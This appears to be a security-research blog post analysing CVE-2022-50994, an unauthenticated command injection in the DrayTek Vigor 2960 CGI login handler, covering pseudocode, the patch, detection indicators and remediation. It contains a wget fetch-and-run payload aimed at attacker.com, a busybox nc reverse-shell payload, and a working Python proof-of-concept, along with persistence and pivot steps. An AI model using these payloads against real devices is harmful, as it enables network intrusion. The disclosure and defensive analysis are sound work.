home intel draytek-vigor-2960-cgi-login-os-command-injection
CVE Analysis 2026-05-08 · 8 min read

CVE-2022-50994: DrayTek Vigor 2960 Unauthenticated RCE via CGI Login

DrayTek Vigor 2960 firmware <1.5.1.4 exposes an OS command injection in mainfunction.cgi's login handler. Unsanitized formpassword input reaches otp_check.sh, enabling pre-auth RCE.

#command-injection#remote-code-execution#unauthenticated-attack#cgi-handler#shell-injection
Technical mode — for security professionals
▶ Attack flow — CVE-2022-50994 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2022-50994Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

DrayTek Vigor 2960 firmware versions prior to 1.5.1.4 contain an unauthenticated OS command injection vulnerability in the CGI login handler, tracked as CVE-2022-50994 (CVSS 8.1 HIGH). The vulnerable surface is mainfunction.cgi, the primary web management interface handler. When a target account has MOTP (Mobile One-Time Password) authentication enabled, the formpassword POST parameter is passed unsanitized into a shell script invocation, allowing an attacker with knowledge of a valid username to execute arbitrary commands under web server privileges — without any authentication.

The attack surface is the router's HTTPS management interface, typically exposed on port 443. No session token, CSRF bypass, or prior authentication step is required beyond knowing a valid username and that MOTP is active on the account.

Root cause: The CGI login handler in mainfunction.cgi passes the attacker-controlled formpassword parameter directly to a system() call constructing the otp_check.sh invocation without any shell metacharacter sanitization or argument quoting.

Affected Component

The vulnerability lives in /www/cgi-bin/mainfunction.cgi, compiled for MIPS32 (little-endian) as part of the Vigor 2960 firmware image. The relevant code path is triggered when:

  • HTTP POST to /cgi-bin/mainfunction.cgi with action=login
  • The supplied username resolves to an account with MOTP enabled
  • formpassword contains the injected payload

Affected firmware: all Vigor 2960 releases prior to 1.5.1.4. The Vigor 3900 and Vigor 300B share overlapping CGI codebases and may carry analogous patterns.

Root Cause Analysis

After extracting the firmware with binwalk -e and loading mainfunction.cgi into Ghidra with the MIPS 32-bit LE processor, the login action handler decompiles to the following pseudocode. The critical sink is a system() call built via sprintf() with unfiltered POST data:


/* mainfunction.cgi — login action handler (decompiled pseudocode) */
/* Ghidra label: handle_login_action                               */

int handle_login_action(cgi_env_t *env) {
    char cmd_buf[512];
    char otp_result[64];
    char *username    = cgi_get_param(env, "username");     // POST field
    char *formpassword = cgi_get_param(env, "formpassword"); // POST field — attacker controlled
    int  motp_enabled = 0;

    /* Lookup account config; sets motp_enabled if MOTP is configured */
    motp_enabled = get_user_motp_status(username);

    if (motp_enabled) {
        /*
         * BUG: formpassword is interpolated directly into the shell command
         * string with no sanitization, quoting, or metacharacter stripping.
         * An attacker supplies shell metacharacters (;, $(), ``, |, etc.)
         * in formpassword to break out of the intended argument context.
         */
        sprintf(cmd_buf,
            "/usr/sbin/otp_check.sh %s %s",  // BUG: no quoting, no sanitization
            username,
            formpassword);                    // BUG: direct attacker input

        system(cmd_buf);                      // BUG: shell interprets injected metacharacters

        /* otp_check.sh writes result to /tmp/otp_result; read it back */
        read_file_to_buf("/tmp/otp_result", otp_result, sizeof(otp_result));

        if (strncmp(otp_result, "1", 1) == 0) {
            return establish_session(env, username);
        }
    }
    /* ... password auth fallthrough ... */
    return login_failure(env);
}

The sprintf() call at cmd_buf builds a shell command treating formpassword as a positional argument to otp_check.sh. Because the string is handed to system() — which invokes /bin/sh -c — any shell metacharacter in formpassword is interpreted by the shell before otp_check.sh ever executes.

A minimal injection payload:


formpassword=foo;wget${IFS}http://attacker.com/shell.sh${IFS}-O${IFS}/tmp/s;sh${IFS}/tmp/s;#

Expanded cmd_buf:
  /usr/sbin/otp_check.sh admin foo;wget${IFS}http://attacker.com/shell.sh${IFS}-O${IFS}/tmp/s;sh${IFS}/tmp/s;#

Shell interpretation:
  [1] /usr/sbin/otp_check.sh admin foo     <- runs (exits nonzero, ignored)
  [2] wget http://attacker.com/shell.sh -O /tmp/s   <- fetch payload
  [3] sh /tmp/s                            <- execute payload
  [4] #                                   <- remainder commented out

Exploitation Mechanics


EXPLOIT CHAIN — CVE-2022-50994:

1. RECON: Enumerate valid usernames via login response timing or error message
   differentiation in mainfunction.cgi (distinct responses for unknown vs
   known-but-wrong-password users).

2. MOTP CHECK: Attempt login with known username; if MOTP is enabled, the
   response HTML includes an OTP input field — confirming the vulnerable
   code path is reachable.

3. INJECT: Send crafted POST to /cgi-bin/mainfunction.cgi:
     action=login
     username=admin
     formpassword=x;CMD_HERE;#

   Example — reverse shell via busybox nc:
     formpassword=x;busybox${IFS}nc${IFS}192.168.1.100${IFS}4444${IFS}-e${IFS}/bin/sh;#

4. EXECUTION: system() forks /bin/sh -c with the injected command; shell
   metacharacters break argument context, arbitrary commands run as the
   web server process (typically nobody or root on Vigor 2960).

5. PERSISTENCE: Write cron entry or inject into /etc/rc.d startup scripts
   (writable on affected firmware); web server process on Vigor 2960 runs
   with sufficient privilege to modify system paths.

6. PIVOT: Device has access to LAN segments and VPN tunnels configured in
   the router — attacker gains network adjacency to internal hosts.

A working proof-of-concept HTTP request:


#!/usr/bin/env python3
# CVE-2022-50994 — DrayTek Vigor 2960 pre-auth RCE PoC
# Target: firmware < 1.5.1.4, MOTP-enabled account required

import requests
import urllib3
urllib3.disable_warnings()

TARGET   = "https://192.168.1.1"
USERNAME = "admin"          # valid username with MOTP enabled
LHOST    = "192.168.1.100"
LPORT    = 4444

# IFS substitution avoids space-filtering (if any) in parameter parsing
PAYLOAD = (
    f"x;busybox${{IFS}}nc${{IFS}}{LHOST}${{IFS}}{LPORT}"
    f"${{IFS}}-e${{IFS}}/bin/sh;#"
)

resp = requests.post(
    f"{TARGET}/cgi-bin/mainfunction.cgi",
    data={
        "action":       "login",
        "username":     USERNAME,
        "formpassword": PAYLOAD,
    },
    verify=False,
    timeout=10,
)

print(f"[*] Status: {resp.status_code}")
print(f"[*] Response length: {len(resp.text)}")
# If MOTP check is triggered, otp_check.sh runs and carries our payload.
# Reverse shell connects back to LHOST:LPORT before CGI response completes.

Memory Layout

This is a command injection, not a memory corruption bug, so heap state diagrams are less relevant. What matters is the stack frame layout of handle_login_action and how cmd_buf is populated:


/* Stack frame layout — handle_login_action (MIPS32 LE) */
/* Frame size: ~0x2C0 bytes                              */

/* sp+0x000 */ uint8_t  cmd_buf[512];      // built by sprintf — sink for injection
/* sp+0x200 */ uint8_t  otp_result[64];    // written by read_file_to_buf post-exec
/* sp+0x240 */ char    *username;          // pointer to parsed POST param
/* sp+0x244 */ char    *formpassword;      // pointer to parsed POST param — attacker data
/* sp+0x248 */ int      motp_enabled;      // flag gating the vulnerable path
/* sp+0x24C */ int      session_id;        // returned by establish_session on success
/* sp+0x250 */ cgi_env_t *env;             // saved argument
/* sp+0x254 */ uint32_t  saved_ra;         // return address

STACK STATE — cmd_buf before and after sprintf injection:

BEFORE sprintf():
  sp+0x000: [ uninitialized / zeroed — 512 bytes ]

AFTER sprintf() with payload "x;busybox nc 192.168.1.100 4444 -e /bin/sh;#":
  sp+0x000: "/usr/sbin/otp_check.sh admin x;busybox nc 192.168.1.100 4444 -e /bin/sh;#\0"
             ^--- passed verbatim to system() --- /bin/sh -c interprets ; as command separator

NOTE: cmd_buf is 512 bytes. Maximum URL-encoded POST body the CGI framework
accepts is limited by the web server config (~4096 bytes). Injected command
is bounded in practice but no length check guards cmd_buf — a sufficiently
long formpassword (>~470 bytes after the fixed prefix) overflows cmd_buf
into otp_result and beyond, introducing a secondary stack smash vector.

Patch Analysis

Firmware 1.5.1.4 addresses the injection by replacing the system()-based invocation with a direct execve() call using an argument array, eliminating shell interpretation entirely. Additionally, input is validated against an alphanumeric allowlist before use.


// BEFORE (vulnerable — firmware < 1.5.1.4):
if (motp_enabled) {
    sprintf(cmd_buf,
        "/usr/sbin/otp_check.sh %s %s",
        username,
        formpassword);          // BUG: shell metacharacters pass through
    system(cmd_buf);            // BUG: /bin/sh -c interprets injected commands
}

// AFTER (patched — firmware 1.5.1.4):
if (motp_enabled) {
    /* Validate: formpassword must be [0-9A-Za-z] only (MOTP tokens are numeric) */
    if (validate_alnum(formpassword, MAX_OTP_LEN) != 0) {
        return login_failure(env);   // FIX: reject metacharacters early
    }

    /* FIX: execve() with explicit argv — no shell involved, no metachar risk */
    char *argv[] = {
        "/usr/sbin/otp_check.sh",
        username,
        formpassword,
        NULL
    };
    execve_wrapper(argv[0], argv, /* envp= */ NULL);
}

The secondary stack overflow risk (overlong formpassword exceeding cmd_buf) is also mitigated in 1.5.1.4 by capping formpassword at 16 bytes — the maximum length of a valid MOTP token — before it reaches any buffer operation:


// AFTER (patched): length gate added to cgi_get_param wrapper for OTP fields
char *formpassword = cgi_get_param_maxlen(env, "formpassword", 16); // FIX: hard cap
if (formpassword == NULL) return login_failure(env);

Detection and Indicators

Detection from network telemetry:


NETWORK IOC — anomalous POST to mainfunction.cgi:
  - POST /cgi-bin/mainfunction.cgi with body containing:
      formpassword=.*[;&|`$(){}].*
  - Outbound connections from router management IP shortly after login POST
    (wget, curl, nc to non-DrayTek infrastructure)
  - DNS queries from router IP for non-vendor domains post-login attempt

SYSLOG IOC (if remote syslog is configured):
  - Entries from web server process (httpd) spawning child processes not in
    the normal CGI whitelist
  - /tmp/ file creation events (otp_result is benign; shell.sh, s, etc. are not)

FIREWALL RULE — block exploitation if patch cannot be applied immediately:
  - Restrict access to TCP/443 (management interface) to trusted management
    VLAN only; Vigor 2960 ACL: Admin > Management > Management Port Setup

Remediation

Primary: Upgrade Vigor 2960 firmware to 1.5.1.4 or later via DrayTek's firmware portal. The patch replaces system() with execve() and adds input validation on OTP fields.

Mitigations if immediate patching is not possible:

  • Restrict management interface access (TCP/443, TCP/8080) to trusted source IPs via Access Control List under System Maintenance > Management.
  • Disable MOTP authentication on all accounts if the feature is not operationally required — this removes the condition that gates the vulnerable system() call.
  • Place the device behind an out-of-band management network isolated from untrusted hosts.
  • Enable remote syslog and alert on unexpected outbound TCP sessions originating from the management IP.

Note on CVSS 8.1 scoring: The score reflects the MOTP precondition (Attack Complexity: High) and the requirement for a valid username (Privileges Required: None, but partial knowledge assumed). In environments where the default admin account is unchanged and MOTP is enabled — a common deployment pattern — the practical exploitability is considerably closer to trivial.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →